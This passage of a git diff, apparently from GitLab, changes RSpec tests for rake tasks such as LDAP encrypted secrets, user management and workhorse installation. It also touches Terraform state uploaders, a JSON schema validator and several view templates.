+ it 'exits 0 or 1 depending on user modifications to the database' do
+ allow_any_instance_of(ActiveRecord::MigrationContext).to receive(:needs_migration?).and_return(needs_migration)
+ allow_any_instance_of(ApplicationSetting).to receive(:self_monitoring_project).and_return(self_monitoring_project)
+ allow(Project).to receive(:count).and_return(project_count)
+
+ expect { run_rake_task(task) }.to raise_error do |error|
+ expect(error).to be_a(SystemExit)
+ expect(error.status).to eq(exit_status)
+ expect(error.success?).to be(exit_code)
+ end
end
end
end
diff --git a/spec/tasks/gitlab/ldap_rake_spec.rb b/spec/tasks/gitlab/ldap_rake_spec.rb
index 275fcb98dd0..5286cd98944 100644
--- a/spec/tasks/gitlab/ldap_rake_spec.rb
+++ b/spec/tasks/gitlab/ldap_rake_spec.rb
@@ -13,3 +13,112 @@ RSpec.describe 'gitlab:ldap:rename_provider rake task' do
run_rake_task('gitlab:ldap:rename_provider', 'ldapmain', 'ldapfoo')
end
end
+
+RSpec.describe 'gitlab:ldap:secret rake tasks' do
+ let(:ldap_secret_file) { 'tmp/tests/ldapenc/ldap_secret.yaml.enc' }
+
+ before do
+ Rake.application.rake_require 'tasks/gitlab/ldap'
+ stub_env('EDITOR', 'cat')
+ stub_warn_user_is_not_gitlab
+ FileUtils.mkdir_p('tmp/tests/ldapenc/')
+ allow(Gitlab.config.ldap).to receive(:secret_file).and_return(ldap_secret_file)
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(SecureRandom.hex(64))
+ end
+
+ after do
+ FileUtils.rm_rf(Rails.root.join('tmp/tests/ldapenc'))
+ end
+
+ describe ':show' do
+ it 'displays error when file does not exist' do
+ expect { run_rake_task('gitlab:ldap:secret:show') }.to output(/File .* does not exist. Use `gitlab-rake gitlab:ldap:secret:edit` to change that./).to_stdout
+ end
+
+ it 'displays error when key does not exist' do
+ Settings.encrypted(ldap_secret_file).write('somevalue')
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(nil)
+ expect { run_rake_task('gitlab:ldap:secret:show') }.to output(/Missing encryption key encrypted_settings_key_base./).to_stdout
+ end
+
+ it 'displays error when key is changed' do
+ Settings.encrypted(ldap_secret_file).write('somevalue')
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(SecureRandom.hex(64))
+ expect { run_rake_task('gitlab:ldap:secret:show') }.to output(/Couldn't decrypt .* Perhaps you passed the wrong key?/).to_stdout
+ end
+
+ it 'outputs the unencrypted content when present' do
+ encrypted = Settings.encrypted(ldap_secret_file)
+ encrypted.write('somevalue')
+ expect { run_rake_task('gitlab:ldap:secret:show') }.to output(/somevalue/).to_stdout
+ end
+ end
+
+ describe 'edit' do
+ it 'creates encrypted file' do
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/File encrypted and saved./).to_stdout
+ expect(File.exist?(ldap_secret_file)).to be true
+ value = Settings.encrypted(ldap_secret_file)
+ expect(value.read).to match(/password: '123'/)
+ end
+
+ it 'displays error when key does not exist' do
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(nil)
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/Missing encryption key encrypted_settings_key_base./).to_stdout
+ end
+
+ it 'displays error when key is changed' do
+ Settings.encrypted(ldap_secret_file).write('somevalue')
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(SecureRandom.hex(64))
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/Couldn't decrypt .* Perhaps you passed the wrong key?/).to_stdout
+ end
+
+ it 'displays error when write directory does not exist' do
+ FileUtils.rm_rf(Rails.root.join('tmp/tests/ldapenc'))
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/Directory .* does not exist./).to_stdout
+ end
+
+ it 'shows a warning when content is invalid' do
+ Settings.encrypted(ldap_secret_file).write('somevalue')
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/WARNING: Content was not a valid LDAP secret yml file/).to_stdout
+ value = Settings.encrypted(ldap_secret_file)
+ expect(value.read).to match(/somevalue/)
+ end
+
+ it 'displays error when $EDITOR is not set' do
+ stub_env('EDITOR', nil)
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/No \$EDITOR specified to open file. Please provide one when running the command/).to_stdout
+ end
+ end
+
+ describe 'write' do
+ before do
+ allow(STDIN).to receive(:tty?).and_return(false)
+ allow(STDIN).to receive(:read).and_return('testvalue')
+ end
+
+ it 'creates encrypted file from stdin' do
+ expect { run_rake_task('gitlab:ldap:secret:write') }.to output(/File encrypted and saved./).to_stdout
+ expect(File.exist?(ldap_secret_file)).to be true
+ value = Settings.encrypted(ldap_secret_file)
+ expect(value.read).to match(/testvalue/)
+ end
+
+ it 'displays error when key does not exist' do
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(nil)
+ expect { run_rake_task('gitlab:ldap:secret:write') }.to output(/Missing encryption key encrypted_settings_key_base./).to_stdout
+ end
+
+ it 'displays error when write directory does not exist' do
+ FileUtils.rm_rf('tmp/tests/ldapenc/')
+ expect { run_rake_task('gitlab:ldap:secret:write') }.to output(/Directory .* does not exist./).to_stdout
+ end
+
+ it 'shows a warning when content is invalid' do
+ Settings.encrypted(ldap_secret_file).write('somevalue')
+ expect { run_rake_task('gitlab:ldap:secret:edit') }.to output(/WARNING: Content was not a valid LDAP secret yml file/).to_stdout
+ value = Settings.encrypted(ldap_secret_file)
+ expect(value.read).to match(/somevalue/)
+ end
+ end
+end
diff --git a/spec/tasks/gitlab/packages/events_rake_spec.rb b/spec/tasks/gitlab/packages/events_rake_spec.rb
index ac28f9b5fc2..a485dc2ce58 100644
--- a/spec/tasks/gitlab/packages/events_rake_spec.rb
+++ b/spec/tasks/gitlab/packages/events_rake_spec.rb
@@ -7,32 +7,49 @@ RSpec.describe 'gitlab:packages:events namespace rake task' do
Rake.application.rake_require 'tasks/gitlab/packages/events'
end
- describe 'generate' do
- subject do
- file = double('file')
- yml_file = nil
+ subject do
+ file = double('file')
+ yml_file = nil
- allow(file).to receive(:<<) { |contents| yml_file = contents }
- allow(File).to receive(:open).and_yield(file)
+ allow(file).to receive(:<<) { |contents| yml_file = contents }
+ allow(File).to receive(:open).and_yield(file)
- run_rake_task('gitlab:packages:events:generate')
+ run_rake_task("gitlab:packages:events:#{task}")
- YAML.safe_load(yml_file)
- end
+ YAML.safe_load(yml_file)
+ end
+
+ describe 'generate_unique' do
+ let(:task) { 'generate_unique' }
it 'excludes guest events' do
expect(subject.find { |event| event['name'].include?("guest") }).to be_nil
end
- ::Packages::Event::EVENT_SCOPES.keys.each do |event_scope|
- it "includes includes `#{event_scope}` scope" do
+ Packages::Event::EVENT_SCOPES.keys.each do |event_scope|
+ it "includes `#{event_scope}` scope" do
expect(subject.find { |event| event['name'].include?(event_scope) }).not_to be_nil
end
end
it 'excludes some event types' do
- expect(subject.find { |event| event['name'].include?("search_package") }).to be_nil
- expect(subject.find { |event| event['name'].include?("list_package") }).to be_nil
+ expect(subject.grep(/search_package/)).to be_empty
+ expect(subject.grep(/list_package/)).to be_empty
+ end
+ end
+
+ describe 'generate_guest' do
+ let(:task) { 'generate_guest' }
+
+ Packages::Event::EVENT_SCOPES.keys.each do |event_scope|
+ it "includes `#{event_scope}` scope" do
+ expect(subject.find { |event| event.include?(event_scope) }).not_to be_nil
+ end
+ end
+
+ it 'excludes some event types' do
+ expect(subject.find { |event| event.include?("search_package") }).to be_nil
+ expect(subject.find { |event| event.include?("list_package") }).to be_nil
end
end
end
diff --git a/spec/tasks/gitlab/user_management_rake_spec.rb b/spec/tasks/gitlab/user_management_rake_spec.rb
new file mode 100644
index 00000000000..958055780d0
--- /dev/null
+++ b/spec/tasks/gitlab/user_management_rake_spec.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require 'rake_helper'
+
+RSpec.describe 'gitlab:user_management tasks' do
+ before do
+ Rake.application.rake_require 'tasks/gitlab/user_management'
+ end
+
+ describe 'disable_project_and_group_creation' do
+ let(:group) { create(:group) }
+
+ subject(:run_rake) { run_rake_task('gitlab:user_management:disable_project_and_group_creation', group.id) }
+
+ it 'returns output info' do
+ expect { run_rake }.to output(/.*Done.*/).to_stdout
+ end
+
+ context 'with users' do
+ let(:user_1) { create(:user, projects_limit: 10, can_create_group: true) }
+ let(:user_2) { create(:user, projects_limit: 10, can_create_group: true) }
+ let(:user_other) { create(:user, projects_limit: 10, can_create_group: true) }
+
+ shared_examples 'updates proper users' do
+ it 'updates members' do
+ run_rake
+
+ expect(user_1.reload.projects_limit).to eq(0)
+ expect(user_1.can_create_group).to eq(false)
+ expect(user_2.reload.projects_limit).to eq(0)
+ expect(user_2.can_create_group).to eq(false)
+ end
+
+ it 'does not update other users' do
+ run_rake
+
+ expect(user_other.reload.projects_limit).to eq(10)
+ expect(user_other.reload.can_create_group).to eq(true)
+ end
+ end
+
+ context 'in the group' do
+ let(:other_group) { create(:group) }
+
+ before do
+ group.add_developer(user_1)
+ group.add_developer(user_2)
+ other_group.add_developer(user_other)
+ end
+
+ it_behaves_like 'updates proper users'
+ end
+
+ context 'in the descendant groups' do
+ let(:subgroup) { create(:group, parent: group) }
+ let(:sub_subgroup) { create(:group, parent: subgroup) }
+ let(:other_group) { create(:group) }
+
+ before do
+ subgroup.add_developer(user_1)
+ sub_subgroup.add_developer(user_2)
+ other_group.add_developer(user_other)
+ end
+
+ it_behaves_like 'updates proper users'
+ end
+
+ context 'in the children projects' do
+ let(:project_1) { create(:project, namespace: group) }
+ let(:project_2) { create(:project, namespace: group) }
+ let(:other_project) { create(:project) }
+
+ before do
+ project_1.add_developer(user_1)
+ project_2.add_developer(user_2)
+ other_project.add_developer(user_other)
+ end
+
+ it_behaves_like 'updates proper users'
+ end
+ end
+ end
+end
diff --git a/spec/tasks/gitlab/workhorse_rake_spec.rb b/spec/tasks/gitlab/workhorse_rake_spec.rb
index 2efbf0febac..0757f6ca015 100644
--- a/spec/tasks/gitlab/workhorse_rake_spec.rb
+++ b/spec/tasks/gitlab/workhorse_rake_spec.rb
@@ -9,8 +9,12 @@ RSpec.describe 'gitlab:workhorse namespace rake task' do
describe 'install' do
let(:repo) { 'https://gitlab.com/gitlab-org/gitlab-workhorse.git' }
- let(:clone_path) { Rails.root.join('tmp/tests/gitlab-workhorse').to_s }
- let(:version) { File.read(Rails.root.join(Gitlab::Workhorse::VERSION_FILE)).chomp }
+ let(:clone_path) { Dir.mktmpdir('gitlab:workhorse:install-rake-test') }
+ let(:workhorse_source) { Rails.root.join('workhorse').to_s }
+
+ after do
+ FileUtils.rm_rf(clone_path)
+ end
context 'no dir given' do
it 'aborts and display a help message' do
@@ -20,7 +24,7 @@ RSpec.describe 'gitlab:workhorse namespace rake task' do
end
end
- context 'when an underlying Git command fail' do
+ context 'when an underlying Git command fails' do
it 'aborts and display a help message' do
expect(main_object)
.to receive(:checkout_or_clone_version).and_raise 'Git error'
@@ -29,52 +33,26 @@ RSpec.describe 'gitlab:workhorse namespace rake task' do
end
end
- describe 'checkout or clone' do
- before do
- expect(Dir).to receive(:chdir).with(clone_path)
- end
-
- it 'calls checkout_or_clone_version with the right arguments' do
- expect(main_object)
- .to receive(:checkout_or_clone_version).with(version: version, repo: repo, target_dir: clone_path, clone_opts: %w[--depth 1])
-
- run_rake_task('gitlab:workhorse:install', clone_path)
- end
- end
-
- describe 'gmake/make' do
- before do
- FileUtils.mkdir_p(clone_path)
- expect(Dir).to receive(:chdir).with(clone_path).and_call_original
- end
-
- context 'gmake is available' do
- before do
- expect(main_object).to receive(:checkout_or_clone_version)
- allow(Object).to receive(:run_command!).with(['gmake']).and_return(true)
+ it 'clones the origin and creates a gitlab-workhorse binary' do
+ FileUtils.rm_rf(clone_path)
+
+ Dir.mktmpdir('fake-workhorse-origin') do |workhorse_origin|
+ [
+ %W[git init -q #{workhorse_origin}],
+ %W[git -C #{workhorse_origin} checkout -q -b workhorse-move-notice],
+ %W[touch #{workhorse_origin}/proof-that-repo-got-cloned],
+ %W[git -C #{workhorse_origin} add .],
+ %W[git -C #{workhorse_origin} commit -q -m init],
+ %W[git -C #{workhorse_origin} checkout -q -b master]
+ ].each do |cmd|
+ raise "#{cmd.join(' ')} failed" unless system(*cmd)
end
- it 'calls gmake in the gitlab-workhorse directory' do
- expect(Gitlab::Popen).to receive(:popen).with(%w[which gmake]).and_return(['/usr/bin/gmake', 0])
- expect(main_object).to receive(:run_command!).with(['gmake']).and_return(true)
-
- run_rake_task('gitlab:workhorse:install', clone_path)
- end
+ run_rake_task('gitlab:workhorse:install', clone_path, File.join(workhorse_origin, '.git'))
end
- context 'gmake is not available' do
- before do
- expect(main_object).to receive(:checkout_or_clone_version)
- allow(main_object).to receive(:run_command!).with(['make']).and_return(true)
- end
-
- it 'calls make in the gitlab-workhorse directory' do
- expect(Gitlab::Popen).to receive(:popen).with(%w[which gmake]).and_return(['', 42])
- expect(main_object).to receive(:run_command!).with(['make']).and_return(true)
-
- run_rake_task('gitlab:workhorse:install', clone_path)
- end
- end
+ expect(File.exist?(File.join(clone_path, 'proof-that-repo-got-cloned'))).to be true
+ expect(File.executable?(File.join(clone_path, 'gitlab-workhorse'))).to be true
end
end
end
diff --git a/spec/tooling/lib/tooling/parallel_rspec_runner_spec.rb b/spec/tooling/lib/tooling/parallel_rspec_runner_spec.rb
new file mode 100644
index 00000000000..4b44d991d89
--- /dev/null
+++ b/spec/tooling/lib/tooling/parallel_rspec_runner_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require_relative '../../../../tooling/lib/tooling/parallel_rspec_runner'
+
+RSpec.describe Tooling::ParallelRSpecRunner do # rubocop:disable RSpec/FilePath
+ describe '#run' do
+ let(:allocator) { instance_double(Knapsack::Allocator) }
+ let(:rspec_args) { '--seed 123' }
+ let(:filter_tests_file) { 'tests.txt' }
+ let(:node_tests) { %w[01_spec.rb 03_spec.rb 05_spec.rb] }
+ let(:filter_tests) { '01_spec.rb 02_spec.rb 03_spec.rb' }
+ let(:test_dir) { 'spec' }
+
+ before do
+ allow(Knapsack.logger).to receive(:info)
+ allow(allocator).to receive(:node_tests).and_return(node_tests)
+ allow(allocator).to receive(:test_dir).and_return(test_dir)
+ allow(File).to receive(:exist?).with(filter_tests_file).and_return(true)
+ allow(File).to receive(:read).and_call_original
+ allow(File).to receive(:read).with(filter_tests_file).and_return(filter_tests)
+ allow(subject).to receive(:exec)
+ end
+
+ subject { described_class.new(allocator: allocator, filter_tests_file: filter_tests_file, rspec_args: rspec_args) }
+
+ shared_examples 'runs node tests' do
+ it 'runs rspec with tests allocated for this node' do
+ expect_command(%w[bundle exec rspec --seed 123 --default-path spec -- 01_spec.rb 03_spec.rb 05_spec.rb])
+
+ subject.run
+ end
+ end
+
+ context 'given filter tests' do
+ it 'reads filter tests file for list of tests' do
+ expect(File).to receive(:read).with(filter_tests_file)
+
+ subject.run
+ end
+
+ it 'runs rspec filter tests that are allocated for this node' do
+ expect_command(%w[bundle exec rspec --seed 123 --default-path spec -- 01_spec.rb 03_spec.rb])
+
+ subject.run
+ end
+
+ context 'when there is no intersect between allocated tests and filtered tests' do
+ let(:filter_tests) { '99_spec.rb' }
+
+ it 'does not run rspec' do
+ expect(subject).not_to receive(:exec)
+
+ subject.run
+ end
+ end
+ end
+
+ context 'with empty filter tests file' do
+ let(:filter_tests) { '' }
+
+ it_behaves_like 'runs node tests'
+ end
+
+ context 'without filter_tests_file option' do
+ let(:filter_tests_file) { nil }
+
+ it_behaves_like 'runs node tests'
+ end
+
+ context 'if filter_tests_file does not exist' do
+ before do
+ allow(File).to receive(:exist?).with(filter_tests_file).and_return(false)
+ end
+
+ it_behaves_like 'runs node tests'
+ end
+
+ context 'without rspec args' do
+ let(:rspec_args) { nil }
+
+ it 'runs rspec with without extra arguments' do
+ expect_command(%w[bundle exec rspec --default-path spec -- 01_spec.rb 03_spec.rb])
+
+ subject.run
+ end
+ end
+
+ def expect_command(cmd)
+ expect(subject).to receive(:exec).with(*cmd)
+ end
+ end
+end
diff --git a/spec/tooling/lib/tooling/test_map_generator_spec.rb b/spec/tooling/lib/tooling/test_map_generator_spec.rb
index 7f3b2807162..eb49b1db20e 100644
--- a/spec/tooling/lib/tooling/test_map_generator_spec.rb
+++ b/spec/tooling/lib/tooling/test_map_generator_spec.rb
@@ -1,8 +1,11 @@
# frozen_string_literal: true
require_relative '../../../../tooling/lib/tooling/test_map_generator'
+require_relative '../../../support/helpers/file_read_helpers'
RSpec.describe Tooling::TestMapGenerator do
+ include FileReadHelpers
+
subject { described_class.new }
describe '#parse' do
@@ -39,21 +42,21 @@ RSpec.describe Tooling::TestMapGenerator do
let(:pathname) { instance_double(Pathname) }
before do
- allow(File).to receive(:read).with('yaml1.yml').and_return(yaml1)
- allow(File).to receive(:read).with('yaml2.yml').and_return(yaml2)
+ stub_file_read('yaml1.yml', content: yaml1)
+ stub_file_read('yaml2.yml', content: yaml2)
end
context 'with single yaml' do
let(:expected_mapping) do
{
'lib/gitlab/current_settings.rb' => [
- './spec/factories_spec.rb'
+ 'spec/factories_spec.rb'
],
'lib/feature.rb' => [
- './spec/factories_spec.rb'
+ 'spec/factories_spec.rb'
],
'lib/gitlab/marginalia.rb' => [
- './spec/factories_spec.rb'
+ 'spec/factories_spec.rb'
]
}
end
@@ -77,16 +80,16 @@ RSpec.describe Tooling::TestMapGenerator do
let(:expected_mapping) do
{
'lib/gitlab/current_settings.rb' => [
- './spec/factories_spec.rb',
- './spec/models/project_spec.rb'
+ 'spec/factories_spec.rb',
+ 'spec/models/project_spec.rb'
],
'lib/feature.rb' => [
- './spec/factories_spec.rb',
- './spec/models/project_spec.rb'
+ 'spec/factories_spec.rb',
+ 'spec/models/project_spec.rb'
],
'lib/gitlab/marginalia.rb' => [
- './spec/factories_spec.rb',
- './spec/models/project_spec.rb'
+ 'spec/factories_spec.rb',
+ 'spec/models/project_spec.rb'
]
}
end
diff --git a/spec/uploaders/object_storage_spec.rb b/spec/uploaders/object_storage_spec.rb
index ba8d0ccbd02..a1d8695a8c9 100644
--- a/spec/uploaders/object_storage_spec.rb
+++ b/spec/uploaders/object_storage_spec.rb
@@ -515,7 +515,7 @@ RSpec.describe ObjectStorage do
end
context 'uses AWS' do
- let(:storage_url) { "https://uploads.s3-eu-central-1.amazonaws.com/" }
+ let(:storage_url) { "https://uploads.s3.eu-central-1.amazonaws.com/" }
let(:credentials) do
{
provider: "AWS",
diff --git a/spec/uploaders/terraform/state_uploader_spec.rb b/spec/uploaders/terraform/state_uploader_spec.rb
index dadfdf6e93f..bd8e7fbc016 100644
--- a/spec/uploaders/terraform/state_uploader_spec.rb
+++ b/spec/uploaders/terraform/state_uploader_spec.rb
@@ -3,23 +3,45 @@
require 'spec_helper'
RSpec.describe Terraform::StateUploader do
- subject { terraform_state.file }
+ subject { state_version.file }
- let(:terraform_state) { create(:terraform_state, :with_file) }
+ let(:state_version) { create(:terraform_state_version) }
before do
stub_terraform_state_object_storage
end
describe '#filename' do
- it 'contains the UUID of the terraform state record' do
- expect(subject.filename).to include(terraform_state.uuid)
+ it 'contains the version of the terraform state record' do
+ expect(subject.filename).to eq("#{state_version.version}.tfstate")
+ end
+
+ context 'legacy state with versioning disabled' do
+ let(:state) { create(:terraform_state, versioning_enabled: false) }
+ let(:state_version) { create(:terraform_state_version, terraform_state: state) }
+
+ it 'contains the UUID of the terraform state record' do
+ expect(subject.filename).to eq("#{state_version.uuid}.tfstate")
+ end
end
end
describe '#store_dir' do
- it 'contains the ID of the project' do
- expect(subject.store_dir).to include(terraform_state.project_id.to_s)
+ it 'hashes the project ID and UUID' do
+ expect(Gitlab::HashedPath).to receive(:new)
+ .with(state_version.uuid, root_hash: state_version.project_id)
+ .and_return(:store_dir)
+
+ expect(subject.store_dir).to eq(:store_dir)
+ end
+
+ context 'legacy state with versioning disabled' do
+ let(:state) { create(:terraform_state, versioning_enabled: false) }
+ let(:state_version) { create(:terraform_state_version, terraform_state: state) }
+
+ it 'contains the ID of the project' do
+ expect(subject.store_dir).to include(state_version.project_id.to_s)
+ end
end
end
@@ -27,7 +49,7 @@ RSpec.describe Terraform::StateUploader do
it 'creates a digest with a secret key and the project id' do
expect(OpenSSL::HMAC)
.to receive(:digest)
- .with('SHA256', Gitlab::Application.secrets.db_key_base, terraform_state.project_id.to_s)
+ .with('SHA256', Gitlab::Application.secrets.db_key_base, state_version.project_id.to_s)
.and_return('digest')
expect(subject.key).to eq('digest')
diff --git a/spec/uploaders/terraform/versioned_state_uploader_spec.rb b/spec/uploaders/terraform/versioned_state_uploader_spec.rb
deleted file mode 100644
index eeb54cb61c7..00000000000
--- a/spec/uploaders/terraform/versioned_state_uploader_spec.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Terraform::VersionedStateUploader do
- subject { model.file }
-
- let(:model) { create(:terraform_state_version, :with_file) }
-
- before do
- stub_terraform_state_object_storage
- end
-
- describe '#filename' do
- it 'contains the version of the terraform state record' do
- expect(subject.filename).to eq("#{model.version}.tfstate")
- end
-
- context 'legacy state with versioning disabled' do
- let(:state) { create(:legacy_terraform_state) }
- let(:model) { create(:terraform_state_version, terraform_state: state) }
-
- it 'contains the UUID of the terraform state record' do
- expect(subject.filename).to eq("#{model.uuid}.tfstate")
- end
- end
- end
-
- describe '#store_dir' do
- it 'hashes the project ID and UUID' do
- expect(Gitlab::HashedPath).to receive(:new)
- .with(model.uuid, root_hash: model.project_id)
- .and_return(:store_dir)
-
- expect(subject.store_dir).to eq(:store_dir)
- end
-
- context 'legacy state with versioning disabled' do
- let(:state) { create(:legacy_terraform_state) }
- let(:model) { create(:terraform_state_version, terraform_state: state) }
-
- it 'contains the ID of the project' do
- expect(subject.store_dir).to include(model.project_id.to_s)
- end
- end
- end
-end
diff --git a/spec/validators/json_schema_validator_spec.rb b/spec/validators/json_schema_validator_spec.rb
index 83eb0e2f3dd..1e9420c5422 100644
--- a/spec/validators/json_schema_validator_spec.rb
+++ b/spec/validators/json_schema_validator_spec.rb
@@ -29,6 +29,36 @@ RSpec.describe JsonSchemaValidator do
expect(build_report_result.errors.full_messages).to eq(["Data must be a valid json schema"])
end
end
+
+ context 'when draft is > 4' do
+ let(:validator) { described_class.new(attributes: [:data], filename: "build_report_result_data", draft: 6) }
+
+ it 'uses JSONSchemer to perform validations' do
+ expect(JSONSchemer).to receive(:schema).with(Pathname.new(Rails.root.join('app', 'validators', 'json_schemas', 'build_report_result_data.json').to_s)).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when draft is <= 4' do
+ let(:validator) { described_class.new(attributes: [:data], filename: "build_report_result_data", draft: 4) }
+
+ it 'uses JSON::Validator to perform validations' do
+ expect(JSON::Validator).to receive(:validate).with(Rails.root.join('app', 'validators', 'json_schemas', 'build_report_result_data.json').to_s, build_report_result.data)
+
+ subject
+ end
+ end
+
+ context 'when draft value is not provided' do
+ let(:validator) { described_class.new(attributes: [:data], filename: "build_report_result_data") }
+
+ it 'uses JSON::Validator to perform validations' do
+ expect(JSON::Validator).to receive(:validate).with(Rails.root.join('app', 'validators', 'json_schemas', 'build_report_result_data.json').to_s, build_report_result.data)
+
+ subject
+ end
+ end
end
context 'when filename is not set' do
diff --git a/spec/views/admin/application_settings/general.html.haml_spec.rb b/spec/views/admin/application_settings/general.html.haml_spec.rb
index 5343847d755..434ca8bf0e7 100644
--- a/spec/views/admin/application_settings/general.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/general.html.haml_spec.rb
@@ -33,32 +33,4 @@ RSpec.describe 'admin/application_settings/general.html.haml' do
end
end
end
-
- describe 'Maintenance mode' do
- let(:maintenance_mode_flag) { true }
-
- before do
- assign(:application_setting, app_settings)
- stub_feature_flags(maintenance_mode: maintenance_mode_flag)
- allow(view).to receive(:current_user).and_return(user)
- end
-
- context 'when maintenance_mode feature is enabled' do
- it 'show the Maintenance mode section' do
- render
-
- expect(rendered).to have_css('#js-maintenance-mode-toggle')
- end
- end
-
- context 'when maintenance_mode feature is disabled' do
- let(:maintenance_mode_flag) { false }
-
- it 'hide the Maintenance mode section' do
- render
-
- expect(rendered).not_to have_css('#js-maintenance-mode-toggle')
- end
- end
- end
end
diff --git a/spec/views/admin/dashboard/index.html.haml_spec.rb b/spec/views/admin/dashboard/index.html.haml_spec.rb
index e9223c84674..5494b908705 100644
--- a/spec/views/admin/dashboard/index.html.haml_spec.rb
+++ b/spec/views/admin/dashboard/index.html.haml_spec.rb
@@ -17,7 +17,6 @@ RSpec.describe 'admin/dashboard/index.html.haml' do
allow(view).to receive(:admin?).and_return(true)
allow(view).to receive(:current_application_settings).and_return(Gitlab::CurrentSettings.current_application_settings)
- allow(view).to receive(:show_license_breakdown?).and_return(false)
end
it "shows version of GitLab Workhorse" do
diff --git a/spec/views/layouts/_head.html.haml_spec.rb b/spec/views/layouts/_head.html.haml_spec.rb
index 25fcbeb61df..d8748873f64 100644
--- a/spec/views/layouts/_head.html.haml_spec.rb
+++ b/spec/views/layouts/_head.html.haml_spec.rb
@@ -86,21 +86,21 @@ RSpec.describe 'layouts/_head' do
end
end
- context 'when a Piwik config is set' do
- let(:piwik_host) { 'piwik.example.com' }
+ context 'when a Matomo config is set' do
+ let(:matomo_host) { 'matomo.example.com' }
before do
stub_config(extra: {
- piwik_url: piwik_host,
- piwik_site_id: 12345
+ matomo_url: matomo_host,
+ matomo_site_id: 12345
})
end
- it 'add a Piwik Javascript' do
+ it 'add a Matomo Javascript' do
render
- expect(rendered).to match(/<script.*>.*var u="\/\/#{piwik_host}\/".*<\/script>/m)
- expect(rendered).to match(%r(<noscript>.*<img src="//#{piwik_host}/piwik.php.*</noscript>))
+ expect(rendered).to match(/<script.*>.*var u="\/\/#{matomo_host}\/".*<\/script>/m)
+ expect(rendered).to match(%r(<noscript>.*<img src="//#{matomo_host}/matomo.php.*</noscript>))
end
end
diff --git a/spec/views/projects/artifacts/_artifact.html.haml_spec.rb b/spec/views/projects/artifacts/_artifact.html.haml_spec.rb
index b3bf54e143a..5d930d6b0f2 100644
--- a/spec/views/projects/artifacts/_artifact.html.haml_spec.rb
+++ b/spec/views/projects/artifacts/_artifact.html.haml_spec.rb
@@ -16,10 +16,21 @@ RSpec.describe "projects/artifacts/_artifact.html.haml" do
context 'with admin' do
let(:user) { build(:admin) }
- it 'has a delete button' do
- render_partial
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it 'has a delete button' do
+ render_partial
- expect(rendered).to have_link('Delete artifacts', href: project_artifact_path(project, project.job_artifacts.first))
+ expect(rendered).to have_link('Delete artifacts', href: project_artifact_path(project, project.job_artifacts.first))
+ end
+ end
+
+ context 'when admin mode is disabled' do
+ it 'has no delete button' do
+ project.add_reporter(user)
+ render_partial
+
+ expect(rendered).not_to have_link('Delete artifacts')
+ end
end
end
diff --git a/spec/views/projects/commits/_commit.html.haml_spec.rb b/spec/views/projects/commits/_commit.html.haml_spec.rb
index 898d3baae19..abbb3a168c3 100644
--- a/spec/views/projects/commits/_commit.html.haml_spec.rb
+++ b/spec/views/projects/commits/_commit.html.haml_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'projects/commits/_commit.html.haml' do
}
within '.gpg-status-box' do
- expect(page).not_to have_css('i.fa.fa-spinner.fa-spin')
+ expect(page).not_to have_css('.gl-spinner')
end
end
end
diff --git a/spec/views/projects/empty.html.haml_spec.rb b/spec/views/projects/empty.html.haml_spec.rb
new file mode 100644
index 00000000000..de83722160e
--- /dev/null
+++ b/spec/views/projects/empty.html.haml_spec.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'projects/empty' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { ProjectPresenter.new(create(:project, :empty_repo), current_user: user) }
+
+ before do
+ allow(view).to receive(:experiment_enabled?).and_return(true)
+ allow(view).to receive(:current_user).and_return(user)
+ assign(:project, project)
+ end
+
+ context 'when user can push code on the project' do
+ before do
+ allow(view).to receive(:can?).with(user, :push_code, project).and_return(true)
+ end
+
+ it 'displays "git clone" instructions' do
+ render
+
+ expect(rendered).to have_content("git clone")
+ end
+ end
+
+ context 'when user can not push code on the project' do
+ before do
+ allow(view).to receive(:can?).with(user, :push_code, project).and_return(false)
+ end
+
+ it 'does not display "git clone" instructions' do
+ render
+
+ expect(rendered).not_to have_content("git clone")
+ end
+ end
+
+ describe 'invite_members_empty_project_version_a experiment' do
+ let(:can_import_members) { true }
+
+ before do
+ allow(view).to receive(:can_import_members?).and_return(can_import_members)
+ end
+
+ shared_examples_for 'no invite member info' do
+ it 'does not show invite member info' do
+ render
+
+ expect(rendered).not_to have_content('Invite your team')
+ end
+ end
+
+ context 'when experiment is enabled' do
+ it 'shows invite members info', :aggregate_failures do
+ render
+
+ expect(rendered).to have_selector('[data-track-event=render]')
+ expect(rendered).to have_selector('[data-track-label=invite_members_empty_project]', count: 2)
+ expect(rendered).to have_content('Invite your team')
+ expect(rendered).to have_content('Add members to this project and start collaborating with your team.')
+ expect(rendered).to have_link('Invite members', href: project_project_members_path(project, sort: :access_level_desc))
+ expect(rendered).to have_selector('[data-track-event=click_button]')
+ end
+
+ context 'when user does not have permissions to invite members' do
+ let(:can_import_members) { false }
+
+ it_behaves_like 'no invite member info'
+ end
+ end
+
+ context 'when experiment is not enabled' do
+ before do
+ allow(view).to receive(:experiment_enabled?)
+ .with(:invite_members_empty_project_version_a).and_return(false)
+ end
+
+ it_behaves_like 'no invite member info'
+ end
+ end
+end
diff --git a/spec/views/projects/merge_requests/show.html.haml_spec.rb b/spec/views/projects/merge_requests/show.html.haml_spec.rb
index 9b4f2774c5b..db41c9b5374 100644
